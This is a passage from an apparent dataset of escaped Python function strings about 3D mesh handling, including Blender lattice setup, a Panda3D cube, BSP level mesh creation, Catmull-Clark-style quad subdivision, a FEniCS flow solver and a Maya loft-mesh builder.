bpy.data.objects[\\\"Lattice\\\"].select_set(False)\\n \\n\\n\\n # Add the vertices location in an array and find the max and min coordinates of the mesh\\n tabVertices = []\\n xPlus = float('-inf')\\n xMoins = float('inf')\\n yPlus = float('-inf')\\n yMoins = float('inf')\\n zPlus = float('-inf')\\n zMoins = float('inf')\\n for vertex in obj.data.vertices:\\n tabVertices.append(obj.matrix_world @ vertex.co)\\n if xPlus < (obj.matrix_world @ vertex.co).x:\\n xPlus = (obj.matrix_world @ vertex.co).x\\n elif xMoins > (obj.matrix_world @ vertex.co).x:\\n xMoins = (obj.matrix_world @ vertex.co).x\\n \\n if yPlus < (obj.matrix_world @ vertex.co).y:\\n yPlus = (obj.matrix_world @ vertex.co).y\\n elif yMoins > (obj.matrix_world @ vertex.co).y:\\n yMoins = (obj.matrix_world @ vertex.co).y\\n \\n if zPlus < (obj.matrix_world @ vertex.co).z:\\n zPlus = (obj.matrix_world @ vertex.co).z\\n elif zMoins > (obj.matrix_world @ vertex.co).z:\\n zMoins = (obj.matrix_world @ vertex.co).z\\n\\n # Set the size and the location of the lattice\\n bpy.data.objects[\\\"Lattice\\\"].scale = (obj.dimensions[0], obj.dimensions[1], obj.dimensions[2])\\n bpy.data.objects[\\\"Lattice\\\"].location = ((xPlus+xMoins)/2, (yPlus+yMoins)/2,(zPlus+zMoins)/2)\\n\\n # Update the float properties of the lattice and init them\\n bpy.types.Scene.lattice_size_x = bpy.props.FloatProperty(name = \\\"Size X\\\", min = 0, max = 2*obj.dimensions[0], soft_min = 0, soft_max = 2*obj.dimensions[0], step = 10, get=Get_And_Set_Lattice.get_lattice_size_x, set=Get_And_Set_Lattice.set_lattice_size_x, unit = 'LENGTH')\\n bpy.types.Scene.lattice_size_y = bpy.props.FloatProperty(name = \\\"Size Y\\\", min = 0, max = 2*obj.dimensions[1], soft_min = 0, soft_max = 2*obj.dimensions[1], step = 10, get=Get_And_Set_Lattice.get_lattice_size_y, set=Get_And_Set_Lattice.set_lattice_size_y, unit = 'LENGTH')\\n bpy.types.Scene.lattice_size_z = bpy.props.FloatProperty(name = \\\"Size Z\\\", min = 0, max = 2*obj.dimensions[2], soft_min = 0, soft_max = 2*obj.dimensions[2], step = 10, get=Get_And_Set_Lattice.get_lattice_size_z, set=Get_And_Set_Lattice.set_lattice_size_z, unit = 'LENGTH')\\n \\n bpy.context.scene.lattice_size_x = obj.dimensions[0]\\n bpy.context.scene.lattice_size_y = obj.dimensions[1]\\n bpy.context.scene.lattice_size_z = obj.dimensions[2]\\n \\n bpy.types.Scene.lattice_offset_x = bpy.props.FloatProperty(name = \\\"Size X\\\", min = -obj.dimensions[0], max = obj.dimensions[0], soft_min = -obj.dimensions[0], soft_max = obj.dimensions[0], step = 10, get=Get_And_Set_Lattice.get_lattice_offset_x, set=Get_And_Set_Lattice.set_lattice_offset_x, unit = 'LENGTH')\\n bpy.types.Scene.lattice_offset_y = bpy.props.FloatProperty(name = \\\"Size Y\\\", min = -obj.dimensions[1], max = obj.dimensions[1], soft_min = -obj.dimensions[1], soft_max = obj.dimensions[1], step = 10, get=Get_And_Set_Lattice.get_lattice_offset_y, set=Get_And_Set_Lattice.set_lattice_offset_y, unit = 'LENGTH')\\n bpy.types.Scene.lattice_offset_z = bpy.props.FloatProperty(name = \\\"Size Z\\\", min = -obj.dimensions[2], max = obj.dimensions[2], soft_min = -obj.dimensions[2], soft_max = obj.dimensions[2], step = 10, get=Get_And_Set_Lattice.get_lattice_offset_z, set=Get_And_Set_Lattice.set_lattice_offset_z, unit = 'LENGTH')\\n \\n bpy.context.scene.lattice_offset_x = 0\\n bpy.context.scene.lattice_offset_y = 0\\n bpy.context.scene.lattice_offset_z = 0\",\n \"def generaCubo(self):\\r\\n #Use Panda predefined format for vertex coordinate only\\r\\n format = GeomVertexFormat.getV3()\\r\\n \\r\\n #Build Vertex data using the created format. Vertex will never change so I use Static attribute \\r\\n vdata = GeomVertexData('CuboData', format, Geom.UHStatic)\\r\\n \\r\\n #I will have to write vertex data so I create a writer for these data\\r\\n vertex = GeomVertexWriter(vdata, 'vertex')\\r\\n \\r\\n #I now use the writer to add vertex data\\r\\n vertex.addData3f(0, 0, 0)\\r\\n vertex.addData3f(1, 1, 1)\\r\\n vertex.addData3f(0, 1, 1)\\r\\n vertex.addData3f(0, 1, 0)\\r\\n vertex.addData3f(0, 0, 1)\\r\\n vertex.addData3f(1, 0, 0)\\r\\n vertex.addData3f(1, 0, 1)\\r\\n vertex.addData3f(1, 1, 0)\\r\\n \\r\\n #I now create 12 triangles\\r\\n prim = GeomTriangles(Geom.UHStatic)\\r\\n\\r\\n #and then I add vertex to them\\r\\n #Next time use addVertices(0,1,2) !!!\\r\\n prim.addVertex(7)\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n \\r\\n prim.addVertex(3)\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n \\r\\n prim.addVertex(2)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(4)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(2)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(7)\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(3)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(3)\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(0)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(2)\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(3)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(0)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(4)\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(0)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(5)\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(7)\\r\\n prim.closePrimitive()\\r\\n\\r\\n prim.addVertex(6)\\r\\n prim.addVertex(1)\\r\\n prim.addVertex(5)\\r\\n prim.closePrimitive()\\r\\n\\r\\n #Create a Geom to bing vertex data to primitives\\r\\n geom = Geom(vdata)\\r\\n geom.addPrimitive(prim)\\r\\n\\r\\n #Create a node for the Geom in order to be able to render it\\r\\n node = GeomNode('gnode')\\r\\n node.addGeom(geom)\\r\\n\\r\\n #Adde the node to the scene graph == render it!\\r\\n nodePath = render.attachNewNode(node)\\r\\n \\r\\n #is this needed?\\r\\n nodePath.setPos( 0, 5, 0)\\r\\n \\r\\n self.camera.lookAt(nodePath)\\r\\n \\r\\n base.setBackgroundColor( .0, .0, .0 )\\r\\n \\r\\n taskMgr.add(self.SpinCameraTask, \\\"SpinCameraTask\\\")\",\n \"def create_mesh_from_data(mesh_name, bsp_verts, bsp_faces, materials, scale_factor):\\n\\n\\n def vertex_stream(vertices, stream_id):\\n for vertex in vertices:\\n yield vertex[stream_id]\\n\\n # Create mesh and object\\n me = bpy.data.meshes.new(mesh_name+'Mesh')\\n ob = bpy.data.objects.new(\\\"LEVEL\\\" + mesh_name, me)\\n ob.show_name = True\\n\\n # Link object to scene\\n bpy.context.scene.objects.link(ob)\\n \\n # Create the vertex data\\n face_list = list(vertex_stream(bsp_faces, 1))\\n mesh_verts = list(vertex_stream(bsp_verts, 0))\\n\\n me.from_pydata(mesh_verts, [], face_list)\\n\\n # Update mesh with new data\\n me.update()\\n apply_uvs(me, bsp_verts)\\n\\n # Add materials to mesh\\n for cmaterial in materials:\\n me.materials.append(cmaterial)\\n\\n # Apply material indexes to mesh faces\\n face_materials = list(vertex_stream(bsp_faces, 0))\\n\\n for polygon_idx, current_polygon in enumerate(me.polygons):\\n current_polygon.material_index = face_materials[polygon_idx]\\n\\n # Add additional properties to the new object\\n ob['scale_factor'] = scale_factor\\n\\n return ob\",\n \"def create_mesh(remote):\\n cmd1 = mmapi.StoredCommands()\\n key1 = cmd1.AppendSceneCommand_CreateMesh()\\n remote.runCommand(cmd1)\\n result_val = mmapi.any_result()\\n cmd1.GetSceneCommandResult_CreateMesh(key1, result_val)\\n return result_val.i\",\n \"def __init__(self, parameters, mesh_name, facet_name,\\n bc_dict={\\\"obstacle\\\": 2, \\\"channel_walls\\\": 1, \\\"inlet\\\": 3,\\n \\\"outlet\\\": 4}):\\n self.bc_dict = bc_dict\\n self.mesh = df.Mesh()\\n with df.XDMFFile(mesh_name) as infile:\\n infile.read(self.mesh)\\n\\n mvc = df.MeshValueCollection(\\\"size_t\\\", self.mesh,\\n self.mesh.topology().dim() - 1)\\n with df.XDMFFile(facet_name) as infile:\\n infile.read(mvc, \\\"name_to_read\\\")\\n self.mf = mf = df.cpp.mesh.MeshFunctionSizet(self.mesh, mvc)\\n\\n self.V = V = df.VectorFunctionSpace(self.mesh, 'P',\\n parameters[\\\"degree velocity\\\"])\\n self.Q = Q = df.FunctionSpace(self.mesh, 'P',\\n parameters[\\\"degree pressure\\\"])\\n self.rho = df.Constant(parameters[\\\"density [kg/m3]\\\"])\\n self.mu = df.Constant(parameters[\\\"viscosity [Pa*s]\\\"])\\n self.dt = df.Constant(parameters[\\\"dt [s]\\\"])\\n self.g = df.Constant((0, 0))\\n self.vu, self.vp = df.TestFunction(V), df.TestFunction(Q)\\n self.u_, self.p_ = df.Function(V), df.Function(Q)\\n self.u_1, self.p_1 = df.Function(V), df.Function(Q)\\n self.u_k, self.p_k = df.Function(V), df.Function(Q)\\n self.u, self.p = df.TrialFunction(V), df.TrialFunction(Q) # unknown!\\n\\n self.U_m = U_m = parameters[\\\"velocity [m/s]\\\"]\\n x = [0, .41 / 2] # center of the channel\\n Ucenter = 4.*U_m*x[1]*(.41-x[1])/(.41*.41)\\n U0_str = \\\"4.*U_m*x[1]*(.41-x[1])/(.41*.41)\\\"\\n self.U_mean = np.mean(2 / 3 * Ucenter)\\n\\n U0 = df.Expression((U0_str, \\\"0\\\"), U_m=U_m, degree=2)\\n bc0 = df.DirichletBC(V, df.Constant((0, 0)), mf, bc_dict[\\\"obstacle\\\"])\\n bc1 = df.DirichletBC(V, df.Constant((0, 0)), mf, bc_dict[\\\"channel_walls\\\"])\\n bc2 = df.DirichletBC(V, U0, mf, bc_dict[\\\"inlet\\\"])\\n bc3 = df.DirichletBC(Q, df.Constant(0), mf, bc_dict[\\\"outlet\\\"])\\n self.bcu = [bc0, bc1, bc2]\\n self.bcp = [bc3]\\n self.ds_ = df.Measure(\\\"ds\\\", domain=self.mesh, subdomain_data=mf)\\n return\",\n \"def subdivision(mesh):\\n\\t\\n\\t\\n\\t# 1. generate new nodes in the centre of quad\\n\\t# 1/4 o-------o 1/4 o: existing vertices\\n\\t# | | *: newly-generated vertices\\n\\t# | * |\\n\\t# | |\\n\\t# 1/4 o-------o 1/4\\n\\n\\tnew_coor = mesh.give_nodes().give_coor()\\n\\t\\n\\tfor face_index in range(mesh.give_model_inf()[2]): \\n\\t\\tnew_x, new_y, new_z = (0, 0, 0)\\n\\t\\tfor vertex_index in range(4):\\n\\t\\t\\tmesh.give_faces()\\n\\t\\t\\tnode_index = mesh.give_faces().give_node_list(face_index)[vertex_index]\\n\\n\\t\\t\\tnew_x += 0.25*mesh.give_nodes().give_coor(node_index)[0]\\n\\t\\t\\tnew_y += 0.25*mesh.give_nodes().give_coor(node_index)[1]\\n\\t\\t\\tnew_z += 0.25*mesh.give_nodes().give_coor(node_index)[2]\\n\\t\\t\\t\\n\\t\\tnew_coor.append((new_x, new_y, new_z))\\n\\t\\t\\n\\t# generating new nodes on the edge\\n\\t# figure out one edge is shared by how many surfaces\\n\\tedge_shared_by_faces_list = helper.find_edge_shared_by_which_faces(mesh.give_edges(), mesh.give_faces())\\n\\t\\n\\tfor edge_index in range(mesh.give_model_inf()[1]):\\n\\n\\t\\tnew_x, new_y, new_z = (0., 0., 0.)\\n\\t\\t\\n\\t# 2. generate new node on boundary edge\\n\\t# o: existing vertices\\n\\t# 1/2 o---*---o 1/2 *: newly-generated vertices\\n\\t# \\n\\n\\t\\tnew_coor = mesh.give_nodes().give_coor()\\n\\t\\tif len(edge_shared_by_faces_list[edge_index]) == 1:\\t\\n\\t\\t\\tnew_x, new_y, new_z = (0., 0., 0.)\\n\\t\\t\\tfor vertex_index in range(2):\\n\\t\\t\\t\\tthis_node = mesh.give_edges().give_node(edge_index)[vertex_index]\\n\\t\\t\\t\\tnew_x += 0.5*mesh.give_nodes().give_coor()[this_node][0]\\n\\t\\t\\t\\tnew_y += 0.5*mesh.give_nodes().give_coor()[this_node][1]\\n\\t\\t\\t\\tnew_z += 0.5*mesh.give_nodes().give_coor()[this_node][2]\\n\\t\\t\\t\\t\\n\\t\\t\\tnew_coor.append((new_x, new_y, new_z))\\n\\t\\t\\t\\t\\n\\t# 3. generate new node on interior edge\\n\\t# 1/16 o-------o 1/16 o: existing vertices\\n\\t# | | *: newly-generated vertices\\n\\t# 3/8 o---*---o 3/8\\n\\t# | |\\n\\t# 1/16 o-------o 1/16\\n\\n\\t\\telse:\\n\\t\\t\\tnew_x, new_y, new_z = (0., 0., 0.)\\n\\t\\t\\tconsidered_node = []\\n\\t\\t\\tfor vertex_index in range(2):\\n\\t\\t\\t\\tthis_node = mesh.give_edges().give_node(edge_index)[vertex_index]\\n\\t\\t\\t\\tconsidered_node.append(this_node)\\n\\t\\t\\t\\tnew_x += 3./8.*mesh.give_nodes().give_coor()[this_node][0]\\n\\t\\t\\t\\tnew_y += 3./8.*mesh.give_nodes().give_coor()[this_node][1]\\n\\t\\t\\t\\tnew_z += 3./8.*mesh.give_nodes().give_coor()[this_node][2]\\n\\t\\t\\t\\n\\t\\t\\t# faces contain this node\\n\\t\\t\\tpotential_node = []\\n\\t\\t\\tfor face_index in edge_shared_by_faces_list[edge_index]:\\t\\t\\n\\t\\t\\t\\tfor vertex_index in range(4):\\n\\t\\t\\t\\t\\t\\tpotential_node.append(mesh.give_faces().give_node_list(face_index)[vertex_index])\\n\\t\\t\\t\\n\\t\\t\\touter_node = []\\n\\t\\t\\tfor node in potential_node:\\n\\t\\t\\t\\tif (node not in considered_node) & (node not in outer_node):\\n\\t\\t\\t\\t\\touter_node.append(node)\\n\\t\\t\\t\\t\\t\\n\\t\\t\\tfor vertex_index in outer_node:\\n\\t\\t\\t\\tnew_x += 1./16.*mesh.give_nodes().give_coor()[vertex_index][0]\\n\\t\\t\\t\\tnew_y += 1./16.*mesh.give_nodes().give_coor()[vertex_index][1]\\n\\t\\t\\t\\tnew_z += 1./16.*mesh.give_nodes().give_coor()[vertex_index][2]\\n\\t\\t\\t\\n\\t\\t\\tnew_coor.append((new_x, new_y, new_z))\\n\\n\\t# update the links of edges and surfaces\\n\\tnew_edge_list = []\\n\\tnew_face_list = []\\n\\tfor face_index in range(mesh.give_model_inf()[2]):\\n\\t\\told_node0 = mesh.give_faces().give_node_list(face_index)[0]\\n\\t\\told_node1 = mesh.give_faces().give_node_list(face_index)[1]\\n\\t\\told_node2 = mesh.give_faces().give_node_list(face_index)[2]\\n\\t\\told_node3 = mesh.give_faces().give_node_list(face_index)[3]\\n\\t\\t\\n\\t\\told_edge0 = mesh.give_faces().give_edge_list(face_index)[0]\\n\\t\\told_edge1 = mesh.give_faces().give_edge_list(face_index)[1]\\n\\t\\told_edge2 = mesh.give_faces().give_edge_list(face_index)[2]\\n\\t\\told_edge3 = mesh.give_faces().give_edge_list(face_index)[3]\\n\\t\\t\\n\\t\\tnew_node4 = old_edge0 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2] \\n\\t\\tnew_node5 = old_edge1 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2]\\n\\t\\tnew_node6 = old_edge2 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2]\\n\\t\\tnew_node7 = old_edge3 + mesh.give_model_inf()[0] + mesh.give_model_inf()[2]\\t\\n\\t\\tnew_node8 = mesh.give_model_inf()[0] + face_index\\n\\t\\t\\n\\t\\tif helper.in_list((old_node0, new_node4), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((old_node0, new_node4))\\n\\t\\tif helper.in_list((new_node4, new_node8), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node4, new_node8))\\n\\t\\tif helper.in_list((new_node8, new_node7), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node8, new_node7))\\n\\t\\tif helper.in_list((new_node7, old_node0), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node7, old_node0))\\n\\t\\tif helper.in_list((new_node4, old_node1), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node4, old_node1))\\n\\t\\tif helper.in_list((old_node1, new_node5), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((old_node1, new_node5))\\n\\t\\tif helper.in_list((new_node5, new_node8), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node5, new_node8))\\n\\t\\tif helper.in_list((new_node7, old_node3), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node7, old_node3))\\n\\t\\tif helper.in_list((old_node3, new_node6), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((old_node3, new_node6))\\n\\t\\tif helper.in_list((new_node6, new_node8), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node6, new_node8))\\n\\t\\tif helper.in_list((new_node6, old_node2), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((new_node6, old_node2))\\n\\t\\tif helper.in_list((old_node2, new_node5), new_edge_list) == False: \\n\\t\\t\\tnew_edge_list.append((old_node2, new_node5))\\n\\t\\n\\t\\tnew_face_list.append((old_node0, new_node4, new_node8, new_node7))\\n\\t\\tnew_face_list.append((new_node4, old_node1, new_node5, new_node8))\\n\\t\\tnew_face_list.append((new_node7, new_node8, new_node6, old_node3))\\n\\t\\tnew_face_list.append((new_node8, new_node5, old_node2, new_node6))\\n\\t\\t\\n\\tnew_edges = geo.Edge(new_edge_list)\\n\\t\\n\\tnew_faces = geo.Face(new_face_list, new_edges)\\n\\t\\t\\n\\t# update existing nodes\\t\\n\\tfor node_index in range(mesh.give_model_inf()[0]):\\n\\t\\t\\n\\t\\tring1, ring2 = helper.find_neighbour_node(new_edges, new_faces, node_index)\\n\\t\\tvalence = helper.find_valence(node_index, new_faces) \\n\\t\\t#: valence: the number of faces sharing on specific edge\\n\\n\\t# 4. update existing corner vertex\\n\\t# 2/4 @---* 1/4 *: newly-generated vertices\\n\\t# | | @: existing vertices to be updated\\n\\t# 1/4 *---* 0 The higher mask values on neighbouring vertices, \\n\\t# the more likely a square mesh will be refined into a sphere.\\n\\t \\n\\t\\tif valence == 1:\\n\\n\\t\\t\\tnew_x, new_y, new_z = (0, 0, 0)\\n\\t\\t\\tprint\\n\\t\\t\\tfor node_in_ring1 in ring1:\\n\\t\\t\\t\\tnew_x += 1./4.*mesh.give_nodes().give_coor()[node_in_ring1][0]\\n\\t\\t\\t\\tnew_y += 1./4.*mesh.give_nodes().give_coor()[node_in_ring1][1]\\n\\t\\t\\t\\tnew_z += 1./4.*mesh.give_nodes().give_coor()[node_in_ring1][2]\\n\\n\\t\\t\\tfor node_in_ring2 in ring2:\\n\\t\\t\\t\\tnew_x += 0.*mesh.give_nodes().give_coor()[node_in_ring2][0]\\n\\t\\t\\t\\tnew_y += 0.*mesh.give_nodes().give_coor()[node_in_ring2][1]\\n\\t\\t\\t\\tnew_z += 0.*mesh.give_nodes().give_coor()[node_in_ring2][2]\\n\\t\\t\\t\\t\\n\\t\\t\\tnew_x += 2./4.*mesh.give_nodes().give_coor()[node_index][0]\\n\\t\\t\\tnew_y += 2./4.*mesh.give_nodes().give_coor()[node_index][1]\\n\\t\\t\\tnew_z += 2./4.*mesh.give_nodes().give_coor()[node_index][2]\\n\\n\\t# 5. update existing boundary joint vertex\\n\\t# 3/4\\n\\t# 1/8 *---*---* 1/8 *: newly-generated vertices\\n\\t# | | | @: existing vertices to be updated\\n\\t# 0 *---*---* 0\\n\\n\\t\\telif valence == 2:\\n\\t\\t\\t\\n\\t\\t\\tnew_x, new_y, new_z = (0, 0, 0)\\n\\t\\t\\tfor node_in_ring1 in ring1:\\n\\t\\t\\t\\tif helper.find_valence(node_in_ring1, new_faces) <= 2: \\n\\t\\t\\t\\t\\tnew_x += 1./8.*mesh.give_nodes().give_coor()[node_in_ring1][0]\\n\\t\\t\\t\\t\\tnew_y += 1./8.*mesh.give_nodes().give_coor()[node_in_ring1][1]\\n\\t\\t\\t\\t\\tnew_z += 1./8.*mesh.give_nodes().give_coor()[node_in_ring1][2]\\n\\t\\t\\t\\t\\t\\n\\t\\t\\tnew_x += 3./4.*mesh.give_nodes().give_coor()[node_index][0]\\n\\t\\t\\tnew_y += 3./4.*mesh.give_nodes().give_coor()[node_index][1]\\n\\t\\t\\tnew_z += 3./4.*mesh.give_nodes().give_coor()[node_index][2]\\n\\t\\n\\t# 6. update new node on interior edge\\n\\t# * r/k\\n\\t# /\\\\ b/k*\\n\\t# *__/ \\\\___ r/k\\n\\t# \\\\ \\\\ /¬¬/ *: newly-generated vertices: \\n\\t# \\\\ \\\\/ / b = 3/2/valence, r = 1/4/valence\\n\\t# *--@--* b/k\\t @: existing vertices to be updated: 1-b-r\\t\\t\\n\\t# / /\\\\ \\\\\\n\\t# /__/ \\\\__\\\\\\n\\t# * \\\\ / * r/k\\n\\t# \\\\/\\n\\t\\t\\n\\t\\telse:\\n\\t\\t\\tnew_x, new_y, new_z = (0, 0, 0)\\n\\t\\t\\tbeta = 3./2./valence\\n\\t\\t\\tgamma = 1./4./valence\\n\\t\\t\\tfor node_in_ring1 in ring1:\\n\\t\\t\\t\\tnew_x += beta/valence*mesh.give_nodes().give_coor()[node_in_ring1][0]\\n\\t\\t\\t\\tnew_y += beta/valence*mesh.give_nodes().give_coor()[node_in_ring1][1]\\n\\t\\t\\t\\tnew_z += beta/valence*mesh.give_nodes().give_coor()[node_in_ring1][2]\\n\\t\\t\\t\\n\\t\\t\\tfor node_in_ring2 in ring2:\\n\\t\\t\\t\\tnew_x += gamma/valence*mesh.give_nodes().give_coor()[node_in_ring2][0]\\n\\t\\t\\t\\tnew_y += gamma/valence*mesh.give_nodes().give_coor()[node_in_ring2][1]\\n\\t\\t\\t\\tnew_z += gamma/valence*mesh.give_nodes().give_coor()[node_in_ring2][2]\\n\\t\\t\\t\\n\\t\\t\\tnew_x += (1. - beta - gamma)*mesh.give_nodes().give_coor()[node_index][0]\\n\\t\\t\\tnew_y += (1. - beta - gamma)*mesh.give_nodes().give_coor()[node_index][1]\\n\\t\\t\\tnew_z += (1. - beta - gamma)*mesh.give_nodes().give_coor()[node_index][2]\\n\\t\\t\\n\\t\\tnew_coor[node_index] = (new_x, new_y, new_z)\\n\\t\\n\\tnew_nodes = geo.Node(new_coor)\\n\\t\\n\\tmesh.update(new_nodes, new_edges, new_faces)\\n\\t\\n\\t# return new_mesh\\n\\treturn mesh\",\n \"def create_partition(mesh,polygons,enforce_exact=False):\",\n \"def create_simpleLoftMesh(self, form = 2, degree=None, uSplit = None,vSplit=None,cap=True,uniform = False,skip=[],\\n reverseNormal = None,deleteHistory = True,divisions=None, loftMode = None,flipUV = False):\\n _str_func = 'create_simpleLoftMesh'\\n log.debug(\\\"|{0}| >> \\\".format(_str_func)+ '-'*80)\\n log.debug(\\\"{0}\\\".format(self))\\n \\n if self.getMayaAttr('isBlockFrame'):\\n log.debug(cgmGEN.logString_sub(_str_func,'blockFrame bypass'))\\n return \\n\\n mBlockModule = self.p_blockModule\\n\\n ml_delete = []\\n ml_formHandles = self.msgList_get('formHandles')\\n ml_loftCurves = []\\n \\n if degree == None:\\n degree = 1 + self.loftDegree\\n if degree ==1:\\n form = 3\\n if vSplit == None:\\n vSplit = self.loftSplit#-1\\n if uSplit == None:\\n uSplit = self.loftSides\\n \\n \\n log.debug(cgmGEN.logString_sub(_str_func,\\\"Gather loft curves\\\"))\\n for i,mHandle in enumerate(ml_formHandles):\\n if skip and i in skip:\\n continue\\n if mHandle.getMessage('loftCurve'):\\n ml_loftCurves.append(mHandle.getMessage('loftCurve',asMeta=1)[0])\\n ml_subShapers = mHandle.msgList_get('subShapers')\\n if ml_subShapers:\\n for mSub in ml_subShapers:\\n if mSub.getMessage('loftCurve'):\\n ml_loftCurves.append(mSub.getMessage('loftCurve',asMeta=1)[0])\\n \\n if ml_formHandles[-1].getMessage('pivotHelper') and self.blockProfile not in ['arm']:\\n mPivotHelper = ml_formHandles[-1].pivotHelper\\n log.debug(\\\"|{0}| >> pivot helper found \\\".format(_str_func))\\n \\n #make the foot geo.... \\n mBaseCrv = mPivotHelper.doDuplicate(po=False)\\n mBaseCrv.parent = False\\n mShape2 = False\\n ml_delete.append(mBaseCrv)\\n \\n mTopLoft = mPivotHelper.getMessageAsMeta('topLoft')\\n if mTopLoft:\\n mShape2 = mTopLoft.doDuplicate(po=False) \\n ml_loftCurves.append(mShape2)\\n ml_delete.append(mShape2)\\n \\\"\\\"\\\"\\n for mChild in mBaseCrv.getChildren(asMeta=True):\\n if mChild.cgmName == 'topLoft':\\n mShape2 = mChild.doDuplicate(po=False)\\n mShape2.parent = False\\n ml_loftCurves.append(mShape2)\\n ml_delete.append(mShape2) \\n mChild.delete()\\\"\\\"\\\"\\n ml_loftCurves.append(mBaseCrv)\\n \\n \\\"\\\"\\\"\\n if cap:\\n log.debug(cgmGEN.logString_sub(_str_func,\\\"cap\\\")) \\n ml_use = copy.copy(ml_loftCurves)\\n for i,mLoft in enumerate([ml_loftCurves[0],ml_loftCurves[-1]]):\\n log.debug(cgmGEN.logString_msg(_str_func,\\\"duping: {0}\\\".format(mLoft.mNode)))\\n \\n mStartCollapse = mLoft.doDuplicate(po=False)\\n mStartCollapse.p_parent = False\\n mStartCollapse.scale = [.0001 for i in range(3)]\\n if mLoft == ml_loftCurves[0]:\\n ml_use.insert(0,mStartCollapse)\\n else:\\n ml_use.append(mStartCollapse)\\n ml_delete.append(mStartCollapse)\\n ml_loftCurves = ml_use\\\"\\\"\\\"\\n \\n log.debug(cgmGEN.logString_sub(_str_func,\\\"Build\\\"))\\n #pprint.pprint(vars())\\n \\n _d = {'uSplit':uSplit,\\n 'vSplit':vSplit,\\n 'cap' : cap,\\n 'form':form,\\n 'uniform':uniform,\\n 'deleteHistory':deleteHistory,\\n 'merge':deleteHistory,\\n 'reverseNormal':reverseNormal,\\n 'degree':degree}\\n \\n if loftMode:\\n if loftMode in ['evenCubic','evenLinear']:\\n d_tess = {'format':2,#General\\n 'polygonType':1,#'quads',\\n 'vType':3,\\n 'uType':1,\\n 'vNumber':1}\\n _d['d_tess'] = d_tess\\n if loftMode == 'evenCubic':\\n _d['degree'] = 3\\n _d['uniform'] = True\\n d_tess['uNumber'] = (4 + vSplit + (len(ml_loftCurves)) * vSplit)*2\\n #..attempting to fix inconsistency in which is u and which is v\\n #d_tess['vNumber'] = d_tess['uNumber']\\n #d_tess['vType'] = 1\\n else:\\n _d['degree'] = 1\\n d_tess['uNumber'] = (vSplit + (len(ml_loftCurves)) * vSplit)\\n \\n if flipUV:\\n log.warning(cgmGEN.logString_msg(_str_func,\\\"FLIPPING UV\\\"))\\n \\\"\\\"\\\"\\n dTmp = {}\\n for i,k in enumerate(['u','v']):\\n for k2 in 'Type','Number':\\n if i:\\n dTmp['u'+k2] = d_tess['v'+k2]\\n else:\\n dTmp['v'+k2] = d_tess['u'+k2]\\n d_tess.update(dTmp)\\\"\\\"\\\"\\n \\n \\n elif loftMode == 'default':\\n pass\\n \\n\\n #pprint.pprint(vars())\\n \\n _mesh = BUILDUTILS.create_loftMesh([mCrv.mNode for mCrv in ml_loftCurves],\\n **_d)\\n \\n \\\"\\\"\\\"\\n if form in [1,2]:\\n mc.polyNormal(_mesh,nm=0) \\n if form == 3 and degree ==1:\\n mc.polyNormal(_mesh,nm=0) \\\"\\\"\\\"\\n \\n \\n _mesh = mc.rename(_mesh,'{0}_0_geo'.format(self.p_nameBase))\\n \\n if deleteHistory:\\n log.debug(\\\"|{0}| >> delete history...\\\".format(_str_func)) \\n mc.delete(_mesh, ch=True)\\n if ml_delete:mc.delete([mObj.mNode for mObj in ml_delete])\\n \\n return cgmMeta.validateObjListArg(_mesh,'cgmObject',setClass=True)\\n\\n\\n ml_shapes = []\\n \\n mMesh_tmp = get_castMesh(self)\\n str_meshShape = mMesh_tmp.getShapes()[0]\\n \\n _l_targets = ATTR.msgList_get(self.mNode,'loftTargets')\\n\\n\\n mc.select(cl=True)\\n log.debug(\\\"|{0}| >> loftTargets: {1}\\\".format(_str_func,_l_targets))\\n\\n #>>Body -----------------------------------------------------------------\\n _res_body = mc.loft(_l_targets, o = True, d = degree, po = 1 )\\n\\n _inputs = mc.listHistory(_res_body[0],pruneDagObjects=True)\\n _tessellate = _inputs[0]\\n\\n _d = {'format':2,#General\\n 'polygonType':1,#'quads',\\n 'uNumber': 1 + jointCount}\\n for a,v in _d.iteritems():\\n ATTR.set(_tessellate,a,v)\\n\\n #>>Top/Bottom bottom -----------------------------------------------------------------\\n if cap:\\n _l_combine = [_res_body[0]] \\n for crv in _l_targets[0],_l_targets[-1]:\\n _res = mc.planarSrf(crv,po=1)\\n _inputs = mc.listHistory(_res[0],pruneDagObjects=True)\\n _tessellate = _inputs[0] \\n _d = {'format':2,#General\\n 'polygonType':1,#'quads',\\n 'vNumber':1,\\n 'uNumber':1}\\n for a,v in _d.iteritems():\\n ATTR.set(_tessellate,a,v)\\n 